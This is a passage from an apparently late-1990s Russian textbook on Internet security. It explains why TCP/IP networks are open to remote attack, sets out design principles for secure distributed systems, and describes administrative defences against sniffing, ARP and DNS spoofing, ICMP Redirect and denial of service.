Как уже подчеркивалось, протокол TCP является единственным базовым протоколом транспортного уровня, в функции которого заложена защита соединения. Однако использование простейшего алгоритма идентификации объектов при создании виртуального TCP-канала (см. раздел «Подмена одного из субъектов TCP-соединения в сети Internet» в главе 4), особенно при условии применения в сетевых ОС простейших времязависимых законов генерации TCP-идентификаторов (ISN), сводит на нет все попытки обеспечения идентификации канала и объектов при их взаимодействии по протоколу TCP.

Невозможность контроля за виртуальными каналами связи

В существующем стандарте сети Internet нельзя обеспечить контроль за сетевыми соединениями, так как у одного субъекта сетевого взаимодействия существует возможность занять неограниченное число каналов связи с удаленным объектом и при этом остаться анонимным (см. главу 5). Из-за этого любой хост в сети Internet может быть полностью парализован (см. главу 4).

Отсутствие возможности контроля за маршрутом сообщений

Невозможность контроля в Internet за виртуальными каналами обусловлено отсутствием в Сети контроля за маршрутом сообщений, а именно: в существующем стандарте IPv4 нельзя по пришедшему на хост сообщению определить путь, через который оно прошло, а следовательно, невозможно проверить подлинность адреса отправителя (см. главу 4).

Отсутствие полной информации об объектах Internet

Очевидно, что в глобальной сети невозможно обеспечить на каждом ее объекте наличие информации о любом другом объекте. Поэтому, как говорилось ранее, необходимо использовать потенциально опасные алгоритмы удаленного поиска. В сети Internet используются, по меньшей мере, два алгоритма удаленного поиска: ARP и DNS. Удаленные атаки, направленные на эти протоколы, рассмотрены в главе 4.

Отсутствие криптозащиты сообщений

В существующих базовых протоколах семейства TCP/IP, обеспечивающих взаимодействие на сетевом и транспортном уровнях, не предусмотрена возможность шифрования сообщений, хотя очевидно, что добавить ее в протокол TCP не составляло труда. Разработчики решили переложить задачу криптозащиты на протоколы более высоких уровней, например прикладного уровня. При этом базовые протоколы прикладного уровня (FTP, TELNET, HTTP и др.) также не предусматривали никакого шифрования сообщений. Только не так давно появился общедоступный прикладной протокол SSL, встроенный в Netscape Navigator, позволяющий как надежно зашифровать сообщение, так и подтвердить его подлинность.

В заключение хотелось бы заметить, что все описанные выше причины, по которым возможна успешная реализация угроз безопасности РВС, делают сеть Internet небезопасной (см. рис. 6.1). А следовательно, все пользователи Сети могут быть атакованы в любой момент.

Рис. 6.1. Причины успеха удаленных атак

Глава 7 Безопасные распределенные вычислительные системы

План, что и говорить, был превосходный: простой и ясный, лучше не придумаешь. Недостаток у него был только один: было совершенно неизвестно, как привести его в исполнение.
Л. Кэрролл. Алиса в стране чудес

Описанные в предыдущих главах причины успеха удаленных атак на распределенные системы наглядно продемонстрировали, что несоблюдение требований безопасности к защищенным системам связи удаленных объектов РВС приводит к нарушению безопасности системы в целом. Поэтому данная глава посвящена выработке требований для защищенного взаимодействия объектов в распределенной ВС. Чтобы определить, из каких принципов нужно исходить при построении защищенной системы связи удаленных объектов в РВС, расскажем о технологии создания таких систем.

Очевидно, что при построении защищенных систем следует бороться не с угрозами, основанными на недостатках системы, а с причинами возможного их успеха. Поэтому для ликвидации угроз, осуществление которых возможно по каналам связи, необходимо устранить причины, их порождающие. Это основной принцип, руководствуясь которым, мы и сформулируем требования к защищенным системам взаимодействия объектов в распределенных ВС.

Выделенный канал связи

Все объекты распределенной ВС взаимодействуют между собой по каналам связи. Ранее рассматривалась причина успеха удаленных атак, состоящая в использовании в РВС для связи между хостами широковещательной среды передачи, что означает подключение всех объектов РВС к одной общей шине (сетевая топология «общая шина», рис. 7.1). Это приводит к тому, что сообщение, адресованное только одному объекту системы, будет получено всеми ее объектами. Однако только тот объект, адрес которого указан в заголовке сообщения, будет считаться получателем. Очевидно, что в РВС с топологией «общая шина» на уровнях, начиная с сетевого и выше, необходимо использовать специальные методы идентификации объектов (см. далее раздел «Виртуальный канал связи»), так как идентификация на канальном уровне возможна только в случае использования сетевых криптокарт (что на сегодняшний день является экзотикой).

Рис. 7.1. Сетевая топология «общая шина»

Очевидно, что идеальным с точки зрения безопасности будет взаимодействие объектов РВС по выделенным каналам. Существуют два возможных способа организации топологии распределенной ВС с выделенными каналами. В первом случае каждый объект связывается физическими линиями связи со всеми объектами системы (рис. 7.2). Во втором случае в системе может использоваться сетевой коммутатор (switch), через который осуществляется связь между объектами (топология «звезда», рис. 7.3).

Рис. 7.2. Сетевая топология «N объектов – N каналов»

Рис. 7.3. Сетевая топология «звезда»

...

Следует заметить, что в этом случае нарушается один из принципов построения Internet: сеть должна функционировать при выходе из строя любой ее части.

Плюсы распределенной ВС с выделенными каналами связи между объектами состоят в следующем:

• передача сообщений осуществляется напрямую между источником и приемником, минуя остальные объекты системы. В такой системе при отсутствии доступа к объектам, через которые осуществляется передача сообщения, не существует программной возможности анализа сетевого трафика;

• имеется возможность идентифицировать объекты распределенной системы на канальном уровне по их адресам без использования специальных криптоалгоритмов шифрования трафика, поскольку система построена так, что по данному выделенному каналу осуществима связь только с одним определенным объектом. Появление в такой распределенной системе ложного объекта невозможно без аппаратного вмешательства (подключение дополнительного устройства к каналу связи);

• система с выделенными каналами связи – это система, в которой отсутствует неопределенность с информацией о ее объектах. Каждый объект в такой системе однозначно идентифицируется и обладает полной информацией о других объектах системы.

Но у РВС с выделенными каналами есть и минусы:

• сложность реализации и высокие затраты на создание системы;

• ограниченное число объектов системы (зависит от числа входов у коммутатора);

• сложность внесения в систему нового объекта.

Очевидно также, что создание глобальной РВС с выделенными каналами на сегодняшний день невозможно.

Анализируя плюсы и минусы использования выделенных каналов для построения защищенных систем взаимодействия объектов РВС, можно сделать вывод, что создание распределенных систем только с выделенными каналами или только с использованием широковещательной среды передачи неэффективно. Поэтому при построении распределенных вычислительных систем с разветвленной топологией и большим числом объектов представляется правильным использование комбинированных сетевых топологий для создания «гибких» распределенных систем. Чтобы обеспечить связь между объектами большой степени значимости, можно использовать выделенный канал. Связь менее значимых объектов системы может осуществляться с применением комбинации общей шины и выделенного канала.

Следует иметь в виду, что выбор безопасной топологии РВС является необходимым, но отнюдь не достаточным условием для создания защищенных систем связи между объектами распределенных ВС.

Итак, сформулируем первый принцип защищенного взаимодействия объектов РВС.

...

Наилучшее с точки зрения безопасности взаимодействие объектов в распределенной ВС возможно только по физически выделенному каналу.

Виртуальный канал связи

Рассмотрим вопрос создания виртуальных каналов как средства обеспечения дополнительной идентификации и аутентификации объектов в распределенной ВС. Ранее рассматривались наиболее безопасные варианты физического построения сети, однако подобных мер явно недостаточно для создания защищенного взаимодействия удаленных объектов, так как, во-первых, обеспечить взаимодействие всех объектов по выделенному каналу на практике очень сложно и, во-вторых, нельзя не предусмотреть вариант физического подключения к каналу. Следовательно, разработчик защищенной РВС должен исходить из принципа возможного перехвата передаваемых по каналу связи сообщений.

...

При разработке принципов защищенного взаимодействия объектов распределенной ВС необходимо исходить из того, что все сообщения, передаваемые по каналу связи, могут быть перехвачены, но это не должно нарушить безопасность системы в целом.

Таким образом, данное утверждение накладывает на разработчика следующие требования: необходимо ввести дополнительные средства идентификации объектов в распределенной ВС и установить криптозащиту передаваемых по каналу связи сообщений.

Ранее уже отмечалось, что идентификация объектов РВС в отсутствии статической ключевой информации возможна лишь при взаимодействии объектов с использованием виртуального канала. В дальнейшем рассматривается только распределенная ВС, у объектов которой отсутствует ключевая информация для связи друг с другом, – в подобной системе решить задачу безопасного взаимодействия несколько сложнее. Следовательно, чтобы ликвидировать причину успеха удаленных атак, а также исходя из только что сформулированного утверждения, необходимо руководствоваться правилом, регламентирующим осуществление всех взаимодействий в ВС по виртуальному каналу связи.

...

Любое, сколь угодно критичное взаимодействие двух объектов в распределенной ВС должно проходить по виртуальному каналу связи.

Рассмотрим, как в РВС виртуальный канал связи (ВК) может использоваться для надежной, независимой от топологии и физической организации системы идентификации удаленных объектов.

Для этого при создании ВК могут использоваться криптоалгоритмы с открытым ключом (например, недавно принятый в Internet стандарт защиты ВК, называемый Secure Socket Layer (SSL). Данные криптоалгоритмы основаны на результатах исследований, полученных в 70-х годах У. Диффи. Он ввел понятие односторонней функции с потайным входом. Это не просто вычисляемая в одну сторону функция, обращение которой невозможно, она содержит trapdoor (потайной вход), позволяющий вычислять обратную функцию лицу, знающему секретный ключ. Суть криптографии с открытым ключом (или двухключевой криптографии) в том, что ключи, имеющиеся в криптосистеме, входят в нее парами, и каждая пара удовлетворяет следующим двум свойствам:

1. Текст, зашифрованный на одном ключе, может быть дешифрован на другом.

2. Знание одного ключа не позволяет вычислить другой.

Поэтому один из ключей может быть опубликован. При открытом ключе шифрования и секретном ключе дешифрования получается система шифрования с открытым ключом. Каждый пользователь сети может зашифровать сообщение с помощью открытого ключа, а расшифровать его сможет только владелец секретного ключа. При опубликовании ключа дешифрования получается система цифровой подписи. Здесь только владелец секретного ключа создания подписи может правильно зашифровать текст (то есть подписать его), а проверить подпись (дешифровать текст) может любой на основании опубликованного ключа проверки подписи.

В 1976 г. У. Диффи и М. Хеллман предложили следующий метод открытого распределения ключей. Пусть два объекта A и B условились о выборе в качестве общей начальной информации большого простого числа p и примитивного корня степени p – 1 из 1 в поле вычетов по модулю p.

Тогда эти пользователи действуют в соответствии с нижеприведенным протоколом (рис. 7.4):

Рис. 7.4. Алгоритм открытого распределения ключей

1. A вырабатывает случайное число x, вычисляет число ax (mod p) и посылает его B.

2. B вырабатывает случайное число у, вычисляет число ay (mod p) и посылает его A.

3. Затем A и B возводят полученное число в степень со своим показателем и получают число axy (mod p).

Это число и является сеансовым ключом для одноключевого алгоритма, например DES. Для раскрытия этого ключа криптоаналитику необходимо по известным ax (mod p) и ay (mod p) найти axy (mod p), то есть x или у. Нахождение числа x по его экспоненте ax (mod p) называется задачей дискретного логарифмирования в простом поле. Эта задача труднорешаема, и поэтому полученный ключ может быть стойким [7].

Особенность данного криптоалгоритма состоит в том, что перехват по каналу связи пересылаемых в процессе создания виртуального канала сообщений ax (mod p) и ay (mod p) не позволит атакующему получить конечный ключ шифрования axy (mod p). Далее этот ключ должен использоваться, во-первых, для цифровой подписи сообщений и, во-вторых, для их криптозащиты. Цифровая подпись сообщений позволяет надежно идентифицировать объект распределенной ВС и виртуальный канал. В завершение сформулируем следующий принцип защищенного взаимодействия объектов РВС.

...

Чтобы обеспечить надежную идентификацию объектов распределенной ВС при создании виртуального канала, необходимо использовать криптоалгоритмы с открытым ключом.

...

Необходимо обеспечить цифровую подпись сообщений.

...

Необходимо обеспечить возможность шифрования сообщений.

Контроль за маршрутом сообщения

Как известно, каждый объект распределенной ВС должен обладать адресом, уникально его идентифицирующим. Для того чтобы сообщение от одного объекта было передано на другой объект системы, оно должно пройти через цепь маршрутизаторов, задача которых – проанализировать указанный в сообщении адрес назначения, выбрать оптимальный маршрут и, исходя из него, переправить пакет на следующий маршрутизатор или непосредственно абоненту, если он напрямую подключен к данному узлу. Таким образом, маршрут до объекта определяется цепочкой узлов, пройденных сообщением. Как указывалось выше, маршрут сообщения может являться информацией, с точностью до подсети аутентифицирующей подлинность адреса субъекта, отославшего сообщение. Очевидно, что перед любой системой связи объектов в РВС встает стандартная проблема проверки подлинности адреса сообщения, пришедшего на объект. Эту задачу, с одной стороны, можно решить, введя дополнительную идентификацию сообщений на другом, более высоком уровне OSI. Так, адресация может осуществляться на сетевом уровне, а дополнительная идентификация, например, – на транспортном. Однако подобное решение не позволит избежать контроля за созданием соединений, потому что дополнительная идентификация абонентов возможна только после создания соединения. В связи с этим разработчикам распределенной ВС можно предложить следующие пути решения проблемы.

В первом случае функцию проверки подлинности адреса отправителя можно возложить на маршрутизатор. Это несложно сделать, так как маршрутизатор отследит, откуда к нему пришел пакет (от другого маршрутизатора или от подключенного к нему хоста из ближайших подсетей). Роутер может также проверять соответствие адреса отправителя адресу подсети, откуда пришло сообщение. При совпадении сообщение пересылается далее, а в противном случае – отфильтровывается. Этот способ позволит на начальной стадии отбросить пакеты с неверными адресами отправителя.

Другой вариант решения – создать в заголовке пакета специальные поля, куда каждый маршрутизатор, через который проходит пакет, заносит маршрутную информацию (например, часть своего IP-адреса). При этом первый маршрутизатор, на который поступил пакет, заносит также информацию о классе сети (A, B, C), откуда пришел пакет. Тем не менее внесение в пакет адресов всех пройденных маршрутизаторов будет неоптимальным решением, так как сложно заранее определить максимальный размер заголовка пакета, и это может серьезно увеличить размер передаваемого пакета.

Когда сообщение дойдет до конечного адресата, в его заголовке полностью или частично (например, достаточно отметить только первые три узла) будет отмечен пройденный маршрут. По этому маршруту, вне зависимости от указанного в пакете сетевого адреса отправителя, можно с точностью до подсети, во-первых, идентифицировать подлинность адреса и, во-вторых, определить истинный адрес отправителя. Итак, получив подобное сообщение с указанным маршрутом, сетевая операционная система анализирует маршрут и проверяет подлинность адреса отправителя. В случае его недостоверности пакет отбрасывается.

Из всего вышесказанного следует принцип защищенного взаимодействия объектов РВС.

...

В распределенной ВС на сетевом уровне необходимо обеспечить контроль за маршрутом сообщений для аутентификации адреса отправителя.

Контроль за виртуальными соединениями

В предыдущей главе было показано, что взаимодействие объектов РВС по виртуальному каналу позволяет надежно защитить соединение от возможных информационных разрушающих воздействий, осуществляемых по каналам связи. Однако, как отмечалось ранее, взаимодействие по ВК имеет свои минусы. К минусам относится необходимость введения механизма контроля за соединением. Если в системе связи удаленных объектов РВС не предусмотреть использование надежных алгоритмов контроля за соединением, то, избавившись от одного типа удаленных атак на соединение («подмена доверенного объекта»), можно подвергнуть систему другой типовой атаке «отказ в обслуживании». Поэтому для обеспечения надежного функционирования и работоспособности (доступности) каждого объекта распределенной ВС необходимо прежде всего контролировать процесс создания соединения. Как уже говорилось, задача контроля за ВК распадается на две подзадачи:

1. Контроль за созданием соединения.

2. Контроль за использованием соединения.

Решение второй задачи лежит на поверхности: так как сетевая операционная система не может одновременно иметь бесконечное число открытых ВК, то в случае, если ВК простаивает в течение определенного системой тайм-аута, происходит закрытие соединения. Выбор тайм-аута очистки очереди зависит от ряда параметров (подробнее об этом см. в главе 4).

Далее рассмотрим возможный алгоритм, позволяющий обеспечить контроль за созданием соединения в РВС.

Основная задача, которую необходимо решить в данном случае, состоит в том, чтобы не позволить одному субъекту взаимодействия занять все виртуальные каналы системы. Напомним, что при создании ВК полученный системой запрос на создание соединения ставится в очередь запросов, и когда до него дойдет время, система выдаст ответ и отошлет его отправителю. Задача контроля за созданием соединения заключается как раз в том, чтобы определить те правила, исходя из которых, система могла бы либо поставить запрос в очередь, либо нет. Если все пришедшие запросы автоматически ставятся системой в очередь, при условии, что она не заполнена (так построены сетевые ОС, поддерживающие протокол TCP/ IP), то в случае атаки это приведет к переполнению очереди и к отказу в обслуживании всех остальных легальных запросов из-за того, что атакующий посылает в секунду столько запросов, сколько позволяет трафик (тысячи запросов в секунду), а обычный пользователь с легальным запросом на подключение может послать лишь несколько запросов в минуту. Следовательно, вероятность подключения легального пользователя в такой ситуации, при условии переполнения очереди, – в лучшем случае один к миллиону. Поэтому необходимо ввести ограничения на постановку в очередь запросов от одного объекта. Однако если в РВС любой объект системы может послать запрос от имени (с адреса) другого объекта системы, то, как отмечалось ранее, решить задачу контроля за созданием соединения нельзя. Чтобы обеспечить такую возможность, вводится правило, исходя из которого, в каждом пришедшем на объект пакете должен быть указан пройденный им маршрут, позволяющий с точностью до подсети подтвердить подлинность адреса отправителя, что даст возможность отсеять все пакеты с неверным адресом отправителя. Учитывая это, можно предложить следующее условие постановки запроса в очередь: в системе вводится ограничение на число обрабатываемых в секунду запросов из одной подсети.

Максимальное число ставящихся в очередь запросов в секунду определяется непосредственно операционной системой и зависит от следующих параметров сетевой ОС: быстродействия, объема виртуальной памяти, числа одновременно обслуживаемых виртуальных каналов, длины очереди и т. д. Вводимое ограничение не позволит атакующему переполнить очередь, так как только первые несколько его запросов будут поставлены в очередь на обслуживание, а остальные проигнорируются. Первый же запрос легального пользователя из другой подсети будет также сразу поставлен в очередь.

К минусам контроля за созданием соединения можно отнести то, что атакующий имеет возможность посылать запросы от имени любого объекта своей подсети, так как адрес отправителя аутентифицируется только с точностью до подсети. Следовательно, в случае атаки все остальные объекты из подсети атакующего будут лишены возможности подключения к атакуемому объекту. Но такая атака вряд ли имеет смысл, так как, во-первых, атакующего по указанному в пакете маршруту можно вычислить с точностью до подсети и, во-вторых, не произойдет нарушения цели атаки.

В завершение – об очередном требовании защищенного взаимодействия объектов РВС.

...

Для обеспечения доступности ресурсов распределенной ВС необходим контроль за виртуальными соединениями между ее объектами.

...

Необходимо обеспечить контроль за созданием соединения, введя ограничение на число обрабатываемых в секунду запросов из одной подсети.

...

Необходимо обеспечить контроль за использованием соединения, разрывая его по тайм-ауту при отсутствии сообщений.

Проектирование распределенной ВС

Рассмотрим проектирование РВС с полностью определенной информацией о ее объектах, чтобы исключить алгоритмы удаленного поиска.

Одной из особенностей распределенной ВС является возможное отсутствие информации, необходимой для доступа к ее удаленным объектам, поэтому возникает необходимость использования потенциально опасных с точки зрения безопасности алгоритмов удаленного поиска. Следовательно, чтобы такой необходимости в РВС не возникало, на начальном этапе нужно спроектировать систему, полностью определив информацию о ее объектах. Это позволит, в свою очередь, ликвидировать одну из причин успеха удаленных атак, связанных с использованием в РВС алгоритмов удаленного поиска.

Однако в РВС с неопределенным и достаточно большим числом объектов (например, Internet) спроектировать систему с отсутствием неопределенности практически нельзя. В этом случае отказаться от алгоритмов удаленного поиска не представляется возможным.

Существуют два типа таких алгоритмов. Первый – с использованием информационно-поискового сервера, второй – с использованием широковещательных запросов. Применение в РВС алгоритма удаленного поиска с использованием широковещательных запросов в принципе не позволяет защитить систему от внедрения в нее ложного объекта, а следовательно, использование данного алгоритма в защищенной системе недопустимо. Применение в распределенной ВС алгоритма удаленного поиска с использованием информационно-поискового сервера позволяет обезопасить систему от внедрения в нее ложного объекта в том случае, если, во-первых, взаимодействие объектов системы с сервером происходит только с созданием виртуального канала и, во-вторых, у объектов, подключенных к данному серверу, и у сервера существует заранее определенная статическая ключевая информация, используемая при создании виртуального канала. При выполнении этих условий невозможно будет передать ложный ответ на запрос объекта.

Поясним последнее утверждение. Если виртуальный канал с информационно-поисковым сервером создается с использованием только динамически вырабатываемой ключевой информации, например по схеме открытого распределения ключей, то ничто не мешает атакующему (в том случае, когда он может перехватить первоначальный запрос на создание ВК с объекта системы) послать ложный ответ и создать виртуальный канал от имени настоящего сервера. Именно поэтому на всех объектах системы необходима начальная ключевая информация для создания ВК с информационно-поисковым сервером.

В заключение предлагаются требования, которыми необходимо руководствоваться при создании защищенных распределенных ВС.

...

Наиболее безопасной распределенной ВС является та, в которой информация о ее объектах изначально полностью определена и в которой не используются алгоритмы удаленного поиска.

...

В том случае, если предыдущее требование выполнить невозможно, в РВС необходимо использовать лишь алгоритм удаленного поиска с выделенным информационно-поисковым сервером; при этом взаимодействие объектов системы и данного сервера должно осуществляться только по виртуальному каналу с применением надежных криптоалгоритмов защиты соединения и статической ключевой информации.

...

В распределенной ВС для обеспечения безопасности необходимо отказаться от алгоритмов удаленного поиска с использованием широковещательных запросов.

Заканчивая главу, обращаем внимание читателей на то, что в Internet (стандарт IPv4) практически ни одно из сформулированных требований к построению безопасных распределенных систем не выполняется. Поэтому мы позволили себе привести те требования, с учетом которых, по нашему мнению, должна строиться распределенная ВС. Кстати, приняв во внимание собственные ошибки в разработке стандарта IPv4, специалисты уже завершают создание нового, более защищенного стандарта Internet – IPv6, где будут учтены некоторые вышеизложенные требования. Однако разговор о безопасности сети Internet в IPv6 несколько преждевременен, и его лучше отложить до окончательного выхода стандарта в свет.

Глава 8 Как защититься от удаленных атак в сети Internet

– …Скажите мне честно – есть ли хоть какой-то выход из этого кошмара?
– Выход всегда есть, – ответил Эркюль Пуаро.
А. Кристи. Подвиги Геркулеса

Прежде чем говорить о различных аспектах обеспечения информационной безопасности в сети Internet, пользователь должен ответить на вопрос: «А что мне защищать?» Вы скажете – странный вопрос. Ничуть! Особенность Internet на сегодняшний день состоит в том, что 99 % информационных ресурсов Сети являются общедоступными. Удаленный доступ к этим ресурсам может осуществляться анонимно, любым неавторизованным пользователем. Примером подобного неавторизованного доступа (если он разрешен) является подключение к WWW– или FTP-серверам. Теперь, даже если при помощи одной из описанных удаленных атак из предыдущей главы трафик пользователя будет, например, перехвачен и пройдет через сегмент сети атакующего, то последний не получит ничего, кроме и так общедоступной информации, а следовательно, в подобной атаке для кракера нет никакого смысла! Поэтому первая проблема, которую должен решить каждый пользователь, заключается в выборе вида удаленного доступа к ресурсам Сети. Если пользователь планирует осуществлять в Internet только неавторизованный удаленный доступ, то ему абсолютно не нужно заботиться о безопасности соединения (именно соединения, а не собственных ресурсов!). Если же планируется авторизованный доступ к удаленным ресурсам, то следует обратить на эту проблему особое внимание.

Определившись, к каким ресурсам сети Internet пользователь намерен осуществлять доступ, необходимо ответить на следующий вопрос: собирается ли пользователь разрешать удаленный доступ из Сети к своим ресурсам? Если нет, то тогда имеет смысл использовать в качестве сетевой ОС «чисто клиентскую» (например, Windows 98 или NT Workstation), которая не содержит программ-серверов, обеспечивающих удаленный доступ, а значит, удаленный доступ к данной системе в принципе невозможен, так как он просто не предусмотрен программой (правда, с одним но: под данные системы действительно нет серверов FTP, TELNET, WWW и т. д., и нельзя забывать про встроенную в ОС возможность предоставлять удаленный доступ к файловой системе, так называемое share (разделение ресурсов)). Например, давно известна программа, при некоторых условиях предоставляющая атакующему несанкционированный удаленный доступ к файловой системе ОС Windows NT 4.0. Выбор клиентской операционной системы во многом решает проблемы безопасности для данного пользователя (нельзя получить доступ к ресурсу, которого просто нет!), однако в этом случае ухудшается функциональность системы. Здесь своевременно сформулировать, на наш взгляд, одну из основных аксиом безопасности.

...

Принципы доступности, удобства, быстродействия и функциональности вычислительной системы антагонистичны принципам ее безопасности.

Данная аксиома очевидна: чем более доступна, удобна, быстра и многофункциональна ВС, тем она менее безопасна. Например, служба DNS: удобно, но опасно.

Вернемся к выбору пользователем клиентской сетевой ОС. Это, кстати, один из весьма здравых шагов, ведущих к сетевой политике изоляционизма. Данная сетевая политика безопасности заключается в осуществлении как можно более полной изоляции своей вычислительной системы от внешнего мира. Также одним из шагов к обеспечению политики является, к примеру, использование систем Firewall, позволяющих создать выделенный защищенный сегмент (например, приватную сеть), отделенный от глобальной сети. Конечно, ничто не мешает довести политику сетевого изоляционизма до абсурда – просто выдернуть сетевой кабель (полная изоляция от внешнего мира!). Не забывайте, это тоже «решение» всех проблем с удаленными атаками и сетевой безопасностью (в связи с полным отсутствием оных).

Итак, пусть пользователь Internet решил для доступа в сеть применить только клиентскую сетевую ОС и осуществлять с ее помощью неавторизованный доступ. Проблемы с безопасностью решены? Нет! Мы чуть не забыли про типовую удаленную атаку «отказ в обслуживании»! Для этой атаки абсолютно не имеет значения ни вид доступа, ни тип сетевой ОС (хотя клиентская ОС с точки зрения защиты от атаки несколько предпочтительнее). Эта атака, используя фундаментальные пробелы в безопасности протоколов и инфраструктуры сети Internet, поражает сетевую ОС на хосте пользователя с одной единственной целью – нарушить его работоспособность (см. главу 4). Напомним, что для атаки с навязыванием ложного маршрута при помощи протокола ICMP, целью которой является отказ в обслуживании, ОС Windows 95 или Windows NT – наиболее лакомая цель (можно поразить любой хост в сети Internet, на котором установлена данная ОС, – см. раздел «Навязывание хосту ложного маршрута с использованием протокола ICMP»). Бедному пользователю в таком случае остается надеяться на то, что его скромный хост не представляет никакого интереса для атакующего, который может нарушить работоспособность хоста разве что из желания просто напакостить.

В заключение заметим, что пользователь, который предпочел клиентскую операционную систему, решил осуществлять только неавторизованный доступ и смирился с удаленной атакой «отказ в обслуживании», может не читать следующие разделы главы.

Административные методы защиты от удаленных атак в сети Internet

Итак, уважаемый пользователь или не менее уважаемый сетевой администратор, вы все-таки решили попытаться защитить свою систему от разного рода удаленных воздействий. Конечно, самым правильным шагом в этом направлении будет приглашение специалиста по информационной безопасности, который вместе с вами постарается решить весь комплекс задач по обеспечению необходимого уровня безопасности для вашей распределенной ВС. Сначала необходимо определить, что (список контролируемых объектов и ресурсов РВС), от чего (анализ возможных угроз данной РВС) и как (разработка требований, определение политики безопасности и выработка административных и программно-аппаратных мер по обеспечению на практике разработанной политики безопасности) защищать.

Пожалуй, наиболее простыми и дешевыми являются именно административные методы защиты от информационных разрушающих воздействий, о чем и рассказывается далее.

Защита от анализа сетевого трафика

В начале четвертой главы рассматривалась атака, позволяющая кракеру с помощью программного прослушивания канала передачи сообщений в сети перехватывать любую информацию, которой обмениваются удаленные пользователи, если по каналу передаются только нешифрованные сообщения. Также было показано, что базовые прикладные протоколы удаленного доступа TELNET и FTP не предусматривают элементарную криптозащиту передаваемых по сети идентификаторов (имен) и аутентификаторов (паролей). Поэтому администраторам сетей мы порекомендуем не использовать эти базовые протоколы для предоставления удаленного авторизованного доступа к ресурсам своих систем и считать анализ сетевого трафика той постоянно присутствующей угрозой, которую невозможно устранить, но можно сделать бессмысленной, применяя стойкие криптоалгоритмы защиты IP-потока.

Защита от ложного ARP-сервера

Коротко напомним, что в главе 4 рассматривалась удаленная атака, использующая недостатки в механизме удаленного поиска на базе протокола ARP. В том случае, если у сетевой ОС отсутствует информация о соответствии IP-и Ethernet-адресов хостов внутри одного сегмента IP-сети, данный протокол позволяет посылать широковещательный ARP-запрос на поиск необходимого Ethernet-адреса, на который атакующий может прислать ложный ответ, и в дальнейшем весь трафик на канальном уровне окажется перехваченным атакующим и пройдет через ложный ARP-сервер. Очевидно, что для ликвидации данной атаки необходимо устранить причину ее возможного осуществления, которая заключается в отсутствии у ОС каждого хоста необходимой информации о соответствующих IP-и Ethernet-адресах всех остальных хостов внутри данного сегмента сети. Таким образом, самое простое решение – создать сетевым администратором статическую ARP-таблицу в виде файла (в ОС UNIX обычно /etc/ ethers), куда внести необходимую информацию об адресах. Данный файл устанавливается на каждый хост внутри сегмента, и, следовательно, у сетевой ОС отпадает необходимость в использовании удаленного ARP-поиска. Правда, отметим, что ОС Windows 95 это не помогает.

Защита от ложного DNS-сервера

Из главы 4 следует, что использование службы DNS в ее нынешнем виде может позволить кракеру получить глобальный контроль над соединениями путем навязывания ложного маршрута через хост кракера – ложный DNS-сервер. Осуществление такой удаленной атаки, основанной на потенциальных уязвимостях службы DNS, приведет к катастрофическим последствиям для огромного числа пользователей Internet и станет причиной массового нарушения информационной безопасности глобальной сети. Далее для администраторов и пользователей Сети и для администраторов DNS-серверов предлагаются возможные административные методы предотвращения или затруднения данной удаленной атаки.

Как администратору сети защититься от ложного DNS-сервера

Если отвечать на вопрос защиты от ложного DNS-сервера коротко, то никак. Ни административно, ни программно нельзя защититься от атаки на существующую версию службы DNS. Оптимальное решение с точки зрения безопасности – вообще отказаться от применения службы DNS в вашем защищенном сегменте.

Конечно, совсем отказаться от использования имен при обращении к хостам будет очень неудобно, поэтому предложим следующее компромиссное решение: использовать имена, но отказаться от механизма удаленного DNS-поиска. Вы правильно догадались, что это возвращение к схеме, применявшейся до появления службы DNS с выделенными DNS-серверами. Тогда на каждой машине существовал файл hosts, в котором находилась информация об именах и соответствующих IP-адресах всех хостов в сети. Очевидно, что на сегодняшний день администратору в подобный файл можно внести информацию лишь о наиболее часто посещаемых пользователями данного сегмента серверах сети. Поэтому на практике выполнить данное решение чрезвычайно затруднительно и, видимо, нереально (что, например, делать с браузерами, которые используют URL с именами?).

Чтобы усложнить осуществление данной удаленной атаки (передача на хост ложного DNS-ответа без приема DNS-запроса), можно предложить администраторам использовать протокол TCP вместо протокола UDP, который устанавливается по умолчанию (хотя из документации далеко не очевидно, как его заменить).

Общий неутешительный вывод таков: в сети Internet при использовании существующей версии службы DNS нет приемлемого решения для защиты от ложного DNS-сервера (и не откажешься, как в случае с ARP, и использовать опасно).

Как администратору DNS-сервера защититься от ложного DNS-сервера

Единственный способ затруднить осуществление данной удаленной атаки – использовать для общения с хостами и с другими DNS-серверами только протокол TCP, но не UDP. Но не забывайте как про возможный перехват DNS-запроса, так и про математическое предсказание начального значения TCP-идентификатора ISN (см. раздел «Подмена одного из субъектов TCP-соединения в сети Internet»).

В заключение можно порекомендовать для всей сети Internet поскорее перейти либо к более защищенной версии службы DNS, либо принять единый стандарт на защищенный протокол. Осуществить этот переход, несмотря на все колоссальные расходы, просто необходимо, иначе Internet окажется на коленях перед возрастающими успешными попытками нарушения безопасности.

Защита от навязывания ложного маршрута

Напомним, что в главе 4 рассматривалась удаленная атака передачи на хост ложного сообщения ICMP Redirect о смене исходного маршрута. Эта атака приводила как к перехвату атакующим информации, так и к нарушению работоспособности атакуемого хоста. Для того чтобы защититься от такой атаки, необходимо либо фильтровать данное сообщение (используя Firewall или фильтрующий маршрутизатор), не допуская его попадания на конечную систему, либо соответствующим образом выбирать сетевую ОС, которая проигнорирует это сообщение. Однако обычно не существует административных способов повлиять на сетевую ОС так, чтобы запретить ей изменять маршрут и реагировать на данное сообщение. Единственный способ (например, в случае ОС Linux или FreeBSD) заключается в том, чтобы изменить исходные тексты и перекомпилировать ядро ОС. Очевидно, что такой экзотический подход возможен только для операционных систем, свободно распространяемых вместе с исходными текстами. Другого способа узнать реакцию используемой у вас ОС на сообщение ICMP Redirect, как послать сообщение и посмотреть, каков будет результат, на практике не существует. Эксперименты показали, что данное сообщение позволяет изменить маршрутизацию на ОС Windows 95 и Windows NT 4.0. Отметим, что продукты компании Microsoft не отличаются особой защищенностью от возможных удаленных атак, присущих IP-сетям (как видно из главы 4). Следовательно, нежелательно использовать данные ОС в защищенном сегменте IP-сети. Это и будет тем самым административным решением по защите от подобной удаленной атаки.

Защита от отказа в обслуживании

Как уже отмечалось, приемлемых способов защиты от отказа в обслуживании для стандарта IPv4 сети Internet нет и не может быть. Это связано с тем, что в IPv4 невозможен контроль за маршрутом сообщений. Поэтому нельзя обеспечить надежный контроль за сетевыми соединениями, так как у одного субъекта сетевого взаимодействия есть возможность занять неограниченное число каналов связи с удаленным объектом и при этом остаться анонимным. Из-за этого любой сервер в Internet может быть полностью парализован при помощи соответствующей удаленной атаки, рассмотренной в главе 4.

